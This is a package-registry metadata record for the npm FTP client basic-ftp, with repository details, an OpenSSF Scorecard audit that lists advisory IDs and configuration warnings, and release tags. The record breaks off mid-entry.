{"id":1461653,"name":"basic-ftp","ecosystem":"npm","description":"FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.","homepage":"https://github.com/patrickjuchli/basic-ftp#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":["ftp","ftps","promise","async","await","tls","ipv6","typescript"],"namespace":null,"versions_count":120,"first_release_published_at":"2017-12-30T15:23:50.666Z","latest_release_published_at":"2026-05-03T08:46:23.127Z","latest_release_number":"6.0.1","last_synced_at":"2026-06-22T16:14:32.305Z","created_at":"2022-04-09T02:02:02.496Z","updated_at":"2026-06-22T17:13:44.291Z","registry_url":"https://www.npmjs.com/package/basic-ftp","install_command":"npm install basic-ftp","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"6.0.1"}},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-05-22T05:22:35.000Z","size":1189,"stargazers_count":726,"open_issues_count":14,"forks_count":100,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-05-22T08:29:24.653Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-05-22T05:21:39.000Z","dependencies_parsed_at":"2026-03-05T23:01:12.211Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":113,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33379721,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-23T01:21:08.577Z","status":"online","status_checked_at":"2026-05-23T02:00:05.530Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patrickjuchli","name":"Patrick Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"tags":[{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v